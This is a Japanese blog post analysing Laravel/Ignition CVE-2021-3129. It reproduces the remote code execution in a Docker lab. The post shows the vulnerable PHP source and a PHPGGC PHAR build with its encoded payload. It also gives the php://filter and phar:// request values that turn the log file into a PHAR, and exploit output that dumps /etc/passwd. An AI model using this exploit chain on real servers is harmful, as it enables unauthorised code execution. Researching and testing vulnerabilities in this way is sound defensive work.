knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Laravelの脆弱性(CVE-2021-3129)の解説と検証

前回以下の記事を書きました。

knqyf263.hatenablog.com

これはLaravelの脆弱性(CVE-2021-3129)で使われた攻撃方法のうち応用が効きそうな部分を紹介した記事です。本記事ではLaravelでなぜ上のような攻撃が刺さる状態だったのかという詳細について書いておきます。

こちらが発見者のブログです。脆弱性の理解についてはにこれを読めば十分なので、自分のブログでは実際に試してみた時の話とそれによって得た自分の理解を中心に書いています。

www.ambionics.io

概要

Laravelのv8.4.2以下でデバッグモードを有効にしている場合に任意コード実行が可能な脆弱性が2021年の頭に公開されました (CVE-2021-3129)。正確にはLaravelが依存しているIgnitionの脆弱性です。

実際に攻撃を受けて仮想通貨のマイナーを仕込まれた以下の記事も話題になりました。

qiita.com

ちなみに上の記事内で紹介されているKinsingの解説記事は弊社ブログなので宣伝しておきます(以下は翻訳記事なので一次ソースではないですが)。

www.creationline.com

話を戻すと以下の条件を満たす場合に影響を受けます。

  • Ignition <= 2.5.1
  • Laravel <= 8.4.2
  • APP_DEBUG = true

対策としてはバージョンを上げるかAPP_DEBUG = falseにすれば良いわけですが、何でこれで攻撃に繋がるのか、というのを説明します。

ちなみに本番環境でデバッグモードを有効にするのはありえないと思うかもしれませんが、自分が試した限りではLaravelのプロジェクトを普通に作るとデフォルトで APP_DEBUG = true になっていました。何か自分の作り方が悪かった可能性はありますが、自分と同じように作った人はデフォルト設定がtrueになりますし、そのままデプロイしてしまう可能性は十分あると思います。つまりデフォルト設定がセキュアじゃないので、有効にするやつが悪い!と言うよりはLaravel側の設定が良くない気がします。

詳細

APP_DEBUG=true時にエラーが起きた場合、Ignitionは自動修正機能を提供しています。例えばPHPではundefinedな変数があるとエラーになってしまうわけですが、そのエラーを検知した時に自動で修正を提案してくれます。つまり {{ $username }} となっていてエラーが起きたのであれば {{ $username ?? '' }} に置換しましょうか?と提案してきます。こうすると仮に $username が定義されていなくてもデフォルト値のおかげでエラーが起きなくなります。提案ってどういうこと?となりますが、以下の画面を見てください。上のブログから引用しています。

f:id:knqyf263:20211011174717p:plain

ここで Make variable optional とすると実際にPHPファイルが書き換えられます。自分は今までこういった機能を見たことも聞いたこともなかったので驚きました。最近Webサービスの開発に携わってないから知らないだけで他のフレームワークでもあるんでしょうか?何にせよIgnitionがHTTPリクエストを飛ばし、実際にファイルの書き換えを行ってくれます。最初説明を見ても全く理解が出来なかったのですが、自分でLaravel立ち上げてようやく意味がわかりました。「ボタン押したらファイル書き換わってるじゃん...」となりました。

プログラムを自動で修正してくれるなんて何と凄い機能だ!と思う反面、セキュリティ大丈夫かな...と気になるところです。実際には想像より遥かに安全だったようですが、それでも結局は悪用され今回の脆弱性に至っています。

以下も引用ですが、 variableNameviewFile がパラメータとして送られていることが分かります。どのファイルのどの変数名を書き換えるかの指定です。そして solution の名前からしていくつかの簡単な修正がサポートされているようです。

f:id:knqyf263:20211011174739p:plain

最初はsolutionとして悪用できそうなクラスを渡すことを考えたようですが、きちんとRunnableSolutionを実装している既存クラスしか受け付けないようになっていたためそれは難しかったようです。

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

そこで次に、上で使われている MakeViewVariableOptionalSolution を使って任意のファイル書き換えが出来るかを確かめます。

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); // [2]

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [3]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [4]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

少し複雑ですが、[1]で viewFile として渡されたファイルを読み込みます。次に[2]で $variableName$variableName ?? '' に置換しています。そして[3]の箇所で元々のファイルと新しいファイルをトークン化しています。その後 generateExpectedTokens で想定されているtokenを作り新しいファイルと比較します。これが一致しない場合は[4]で makeOptional がfalseを返して置換は実行されず終了しまう。そのため、 $variableName 経由での攻撃は難しそうです。

しかし既に前回の記事を読んでくださった方は file_get_contentsfile_put_contentsviewFile の値が渡されていることが気になって仕方ないと思います。 variableName で存在しない変数を指定すればその辺りの処理は実質的に全てスキップされ以下のみが残ります。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまり viewFile を読み込んでそのまま書き戻すことが出来ます。それなら何も変更できないじゃないかと思われるかもしれませんが、 php:// ラッパーを使うことでBase64エンコード・デコードなどのちょっとした処理が可能になります。あとは以下の記事で紹介したように php:// のfilterをうまく工夫することでログファイルに出力されるエラーメッセージを通してログファイルをPHARに置き換えることが出来ます。

詳細は以下です。

knqyf263.hatenablog.com

攻撃の流れ

ということで攻撃の流れを書いておきます。各ステップの詳細は上の記事を参照してください。

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. まず最初に consumed フィルタを使ってログファイルをクリアする
  4. 最初に適当な文字列を含んだペイロードviewFile に含むリクエストを送る
  5. 2で作ったペイロードviewFile として送りつけエラーメッセージとしてログファイルに書き込ませる
  6. viewFilephp://filter を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  7. 4によってログファイルはPHARになっているため、再び viewFileで phar://を指定して読み込ませる
  8. Metadataのデシリアライズにより攻撃が刺さる

PHARの作成

この辺は知っている人には常識だと思いますが、PHPGGCというデシリアライズ攻撃をする際に便利なツールがあるので、これを使って細工したPHARを作ります。

$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o output.phar

上ではidコマンドが実行されるようなPHARを作って output.phar に出力しています。

(Base64 + UTF-16 + RFC2045) エンコード

次にこれをBase64エンコードします。

$ cat output.phar | base64 -w0
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg==

この時、最後にパディング用の = が入っていますがこれは1つの値のみをエンコードした場合は不要という認識です。複数のBase64エンコード文字列を連結した場合には区切りを知るために4バイトの倍数にする必要がありますが、それ以外では不要のはずなので削ります(もしもっと深い理由があったら教えて下さい)。削っておかないと上の記事で書いたようにsuffixにスタックトレースが入り文字列の途中に = が入ってしまいPHPBase64は失敗します。ということでsedで削ります。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g'
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg

また、UTF-16でかつRFC2045でデコードできるように =00 を各文字の後ろに足していきます。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00...(省略)

ログファイルのクリア

consumed フィルタを使ってログファイルをまっさらな状態にします。

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

適当な文字列の送信

全体のサイズを偶数にするために、適当な文字列を viewFile に入れて送ります。これはデコード後に消えてほしいので上で作ったペイロードは送りません。

viewFile: AA

攻撃用ペイロードの送信

上で作ったペイロードviewFile に入れて送ります。当然こんなファイルは存在しないので、これはNo such file or directoryとなりこの値がログファイルに書き込まれます。上の AA と合わせてログファイルには2エントリ書き込まれている状態です。

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

ログファイルの上書き

現在は上の2つのペイロードを含むエントリが書きこまれている状態です。

[prefix]AA[midfix]AA[suffix]
[prefix]U=00E=00s=00...[midfix]U=00E=00s=00...[suffix]

当然これはPHARとして有効ではないので、 php://filter を使って1エントリの内容や2エントリ内の前後のゴミを消しつつPHARとして有効な値をログファイルに書き戻します。

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

このリクエストの時点でLaravelのログファイル( /path/to/storage/logs/laravel.log )は細工されたPHARになります。

PHARの読み込み

あとは最後のリクエストでそれを読み込ませれば完了です。

viewFile: phar:///path/to/storage/logs/laravel.log

試してみる

試すためのリポジトリを作ったので自分で試したい方はどうぞ。

github.com

やられ側

やられ環境のDockerfileは以下です。

FROM php:7.3.31-alpine3.14

# Install composer
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
    && php composer-setup.php \
    && php -r "unlink('composer-setup.php');" \
    && mv composer.phar /usr/local/bin/composer \
    && chmod +x /usr/local/bin/composer

# Create a laravel project
RUN composer create-project --prefer-dist laravel/laravel /myapp "8.4.2"

WORKDIR /myapp

# Lock the ignition version
RUN composer require --dev facade/ignition==2.5.1

CMD ["php", "artisan", "serve", "--host", "0.0.0.0"]

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/victim/Dockerfile

最初 composer:2 をベースイメージとして試していたのですが、PHP 8だとPoCがうまく動きませんでした。そのため一旦PHP 7にして自前でcomposerをインストールしています。

あとは laravel/laravel を8.4.2に指定してLaravelのプロジェクトを作り、その中の依存ライブラリであるIgnitionを2.5.1にしています。 laravel/framework のバージョンは古いバージョンにしなくてよいのか悩んだのですが、以下のように 8.62.0でも攻撃が刺さっているので laravel/framework のバージョンは関係なさそうです。

/myapp # cat composer.lock | grep -B1 -A 1 '"name": "laravel/framework"'
        {
            "name": "laravel/framework",
            "version": "v8.62.0",

最後はWebサーバを起動しています。

概要にも書きましたが上のように composer create-project でLaravelのプロジェクトを作ったら .env のAPP_DEBUGはtrueになっていました。つまりデフォルトはデバッグモードが有効に見えます。そうなるとこのままデプロイしている人は少なくないでしょうし影響を受けるサーバは多いのではないかと思います。

/myapp # cat .env | grep DEBUG
APP_DEBUG=true

攻撃側

PoCが動くように必要なライブラリを入れているだけで特に変わったことはしていません。

FROM php:7.3.31-alpine3.14

# Install dependencies
RUN apk add git python3 py3-pip \
    && pip install requests \
    && git clone https://github.com/ambionics/phpggc.git
COPY exploit.py .

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/attacker/Dockerfile

PoCコードは以下のリポジトリから拝借しています。自分のリポジトリでは動かなかったところを少し直したり不要なコードを削ったりしています。

github.com

攻撃コードを見ると上で説明した順番でリクエストを送っているのが分かると思います。

CVE-2021-3129/exploit.py at c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa · knqyf263/CVE-2021-3129 · GitHub

実行

セットアップ

まずdocker-composeで2つのコンテナを立ち上げます。

$ git clone https://github.com/knqyf263/CVE-2021-3129.git
$ cd CVE-2021-3129
$ docker-compose build
$ docker-compose up -d

動作確認

http://localhost:8000/ にアクセスしてLaravelが正常に動作していることを確認します。

f:id:knqyf263:20211011175156p:plain

攻撃

あとは攻撃用に作ったコンテナに入ってスクリプトを実行します。

$ docker-compose exec attacker sh
/ # python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
...

/etc/passwd を表示するようにしていたので、攻撃が成功して /etc/passwd の中身が表示されています。

まとめ

Laravelの脆弱性(CVE-2021-3129)の動作原理を見て攻撃を試すところまで行いました。記事を2つに分けないといけないぐらいには複雑だと思いますし、大体複雑な脆弱性というのは現実には刺さらないことが多いのですがこの攻撃は割とシュッと刺さります。

PHP 8だと手元だと動きませんでしたがPHP 7を使っているところはまだまだ多いと思います。自分の検証が間違っていただけかもしれませんし、PoCを修正すれば動く可能性もあるのでPHP 8なら安全かは不明です。またデバッグモードに関してもデフォルト設定のままになっていて有効なところは結構ありそうな気がします。他にもログファイル名の推測だったりも必要ですが、デフォルトだと storage/logs/laravel.log になりますし他の場所にあるとしても /var/log の下だったり候補は絞りやすそうに思います。

影響バージョンも広いですし実際にKinsingのマルウェアが悪用しているぐらいなので危険度は高いと思います。時間が経っているので基本的には各組織既に対策済みだと思いますが、もし対策がまだでかつ攻撃条件を満たす場合は急いで対策しましょう(その場合は既に被害を受けている可能性が高いと思いますが)。